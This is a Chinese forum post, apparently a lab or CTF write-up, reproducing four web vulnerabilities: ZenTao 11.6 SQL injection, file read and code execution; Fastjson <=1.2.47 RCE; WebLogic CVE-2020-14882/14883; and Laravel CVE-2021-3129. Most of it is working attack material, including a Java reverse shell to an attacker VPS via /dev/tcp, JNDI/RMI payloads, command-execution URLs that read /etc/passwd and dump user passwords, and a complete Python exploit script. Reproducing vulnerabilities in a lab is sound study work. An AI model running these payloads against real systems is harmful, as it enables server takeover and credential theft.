漏洞复现靶场writeup之六

veek   ·   发表于 2021-01-25 11:42:16   ·   CTF&WP专版

0x00 蝉道 zentaocms 11.6 漏洞复现

进入网站,选择开源版

查看版本
http://127.0.0.1/zentao/index.php?mode=getconfig

sql注入

payload:
http://127.0.0.1/zentao/api-getModel-api-sql-sql=select+account,password+from+zt_user

文件读取

payload:
http://127.0.0.1/zentao/api-getModel-file-parseCSV-fileName=/etc/passwd

代码执行

POST请求包发送数据

http://192.168.59.128/zentao/api-getModel-editor-save-filePath=/tmp/123

fileContent=<?php phpinfo()?>

(放在tmp下是因为其他目录可能有权限限制,不一定可以写进去)

查看文件,已被写入

访问123文件:

http://192.168.59.128/zentao/api-getModel-api-getMethod-filePath=/tmp/123

没有成功,查看源代码,发现需要给物理路径加上一层才可以。

http://192.168.59.128/zentao/api-getModel-api-getMethod-filePath=/tmp/123/1

0x01 Fastjson <=1.2.47 远程代码执行漏洞

本漏洞复现要求有一台vps作为攻击机,以下操作均在vps上完成。

1.获取exp
exp就是一个反弹shell的代码

复制代码

  1. public class Exploit {
  2. public Exploit(){
  3. try{
  4. Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/VPSip/8888 0>&1");
  5. }catch(Exception e){
  6. e.printStackTrace();
  7. }
  8. }
  9. public static void main(String[] argv){
  10. Exploit e = new Exploit();
  11. }
  12. }

2.vim Exploit.java 修改成vpsIP和端口,此处的端口与后面NC监听的端口对应(反弹shell的过程)。

3.javac Exploit.java 把java文件编译成class文件。注意:此处要求攻击机的javac是1.8的低版本(测试在1.8.0_181可成功,尽量低于1.8.0_191版本),编译需具备marshalsec-0.0.3-SNAPSHOT-all.jar文件,可从github上下载(资源)

jdk低版本rpm文件包与安装方法参考:sourse -适用于centOS系统。

4.用python开启web服务,可随意设置端口

python3 -m http.server 8081

5.然后借助marshalsec项目,启动一个RMI服务器,监听9999端口(句尾的9999端口为RMI服务端口,此端口和后面poc中rmi项的端口对应,用于RMI调用远程方法),并制定加载远程类Exploit.class:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsIP:8081/#Exploit" 9999

6.用nc开启端口监听,此处的端口跟exploit.java中的端口一致

7.用burp发送poc(需修改两个位置的ip,第一个为目标ip,第二个为vps攻击机的ip。注意content-type为json),等待shell

  1. POST / HTTP/1.1
  2. Host: 目标ip
  3. User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5. Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. Content-Type: application/json
  9. Content-Length: 264
  10. {
  11. "a":{
  12. "@type":"java.lang.Class",
  13. "val":"com.sun.rowset.JdbcRowSetImpl"
  14. },
  15. "b":{
  16. "@type":"com.sun.rowset.JdbcRowSetImpl",
  17. "dataSourceName":"rmi://vpsIP:9999/Exploit",
  18. "autoCommit":true
  19. }
  20. }

可见已getshell:

0x02 Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)

首先测试权限绕过漏洞(CVE-2020-14882),访问以下URL,即可未授权访问到管理后台页面(可能要多次尝试):

http://[靶场url]/console/css/%252e%252e%252fconsole.portal

访问后台后,可以发现我们现在是低权限的用户,无法安装应用,所以也无法直接执行任意代码:

此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。

直接访问如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令:

http://[靶场url]/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1‘);”)
进入容器,可以发现touch /tmp/success1已成功执行:

这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。

首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,如http://example.com/rce.xml:

  1. <?xml version="1.0" encoding="UTF-8" ?>
  2. <beans xmlns="http://www.springframework.org/schema/beans"
  3. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4. xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  5. <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
  6. <constructor-arg>
  7. <list>
  8. <value>bash</value>
  9. <value>-c</value>
  10. <value><![CDATA[touch /tmp/success2]]></value>
  11. </list>
  12. </constructor-arg>
  13. </bean>
  14. </beans>

然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:

  1. http://[靶场url]/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")


这个利用方法也有自己的缺点,就是需要Weblogic的服务器能够访问到恶意XML。

0x03 Laravel Debug mode RCE(CVE-2021-3129)

step1:验证
首先构造如下post包:

  1. POST /_ignition/execute-solution HTTP/1.1
  2. Host: 192.168.0.76:8888
  3. Content-Type: application/json
  4. Content-Length: 168
  5. {
  6. "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  7. "parameters": {
  8. "variableName": "username",
  9. "viewFile": "xxxxxxx"
  10. }
  11. }

如果页面出现下列错误


说明漏洞存在

step2:利用
首先确定本地 php环境高于5.6
执行git clone https://github.com/ambionics/phpggc.git
确定 本地的 是使用’python’ 还是 ‘python3’ 进入本地环境,在文件夹内新建exp.py,内容如下:

  1. #!/usr/bin/python3
  2. import requests as req
  3. import os, uuid
  4. # 注意,这里的`python`根据本地情况,比如换成`python3`
  5. class Exp:
  6. __gadget_chains = {
  7. "monolog_rce1": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce1 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
  8. "monolog_rce2": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce2 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
  9. "monolog_rce3": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce3 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
  10. } # phpggc链集合,暂时添加rce1后续再添加其他增强通杀能力
  11. __delimiter_len = 8 # 定界符长度
  12. def __vul_check(self):
  13. resp = req.get(self.__url, verify=False)
  14. if resp.status_code != 405 and "laravel" not in resp.text:
  15. return False
  16. return True
  17. def __payload_send(self, payload):
  18. header = {
  19. "Accept": "application/json"
  20. }
  21. data = {
  22. "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  23. "parameters": {
  24. "variableName": "cve20213129",
  25. "viewFile": ""
  26. }
  27. }
  28. data["parameters"]["viewFile"] = payload
  29. resp = req.post(self.__url, headers=header, json=data, verify=False)
  30. # print(resp.text)
  31. return resp
  32. def __command_handler(self, command):
  33. """
  34. 因为用户命令要注入到payload生成的命令中,为了防止影响结构,所以进行一些处理。
  35. """
  36. self.__delimiter = str(uuid.uuid1())[:self.__delimiter_len] # 定界符用于定位页面中命令执行结果的位置。
  37. # print(delimiter)
  38. command = "echo %s && %s && echo %s" % (self.__delimiter, command, self.__delimiter)
  39. # print(command)
  40. escaped_chars = [' ', '&', '|'] # 我只想到这么多,可自行添加。
  41. for c in escaped_chars:
  42. command = command.replace(c, '\\' + c)
  43. # print(command)
  44. return command
  45. def __clear_log(self):
  46. return self.__payload_send(
  47. "php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")
  48. def __gen_payload(self, gadget_chain):
  49. gen_shell = self.__gadget_chains[gadget_chain] % (self.__command)
  50. # print(gen_shell)
  51. os.system(gen_shell)
  52. with open('payload.txt', 'r') as f:
  53. payload = f.read().replace('\n', '') + 'a' # 添加一个字符使得两个完整的payload总是只有一个可以正常解码
  54. os.system("rm payload.txt")
  55. # print(payload)
  56. return payload
  57. def __decode_log(self):
  58. return self.__payload_send(
  59. "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")
  60. def __unserialize_log(self):
  61. return self.__payload_send("phar://../storage/logs/laravel.log/test.txt")
  62. def __rce(self):
  63. text = self.__unserialize_log().text
  64. # print(text)
  65. echo_find = text.find(self.__delimiter)
  66. # print(echo_find)
  67. if echo_find >= 0:
  68. return text[echo_find + self.__delimiter_len + 1: text.find(self.__delimiter, echo_find + 1)]
  69. else:
  70. return "[-] RCE echo is not found."
  71. def exp(self):
  72. for gadget_chain in self.__gadget_chains.keys():
  73. print("[*] Try to use %s for exploitation." % (gadget_chain))
  74. self.__clear_log()
  75. self.__clear_log()
  76. self.__payload_send('a' * 2)
  77. self.__payload_send(self.__gen_payload(gadget_chain))
  78. self.__decode_log()
  79. print("[*] Result:")
  80. print(self.__rce())
  81. def __init__(self, target, command):
  82. self.target = target
  83. self.__url = req.compat.urljoin(target, "_ignition/execute-solution")
  84. self.__command = self.__command_handler(command)
  85. if not self.__vul_check():
  86. print("[-] [%s] is seems not vulnerable." % (self.target))
  87. print("[*] You can also call obj.exp() to force an attack.")
  88. else:
  89. self.exp()
  90. def main():
  91. Exp("这里是目标地址", "cat /etc/passwd")
  92. if __name__ == '__main__':
  93. main()

最终目录结构如下

最终结果如下:

打赏我,让我更有动力~

0 条回复   |  直到 2021-1-25 | 2639 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.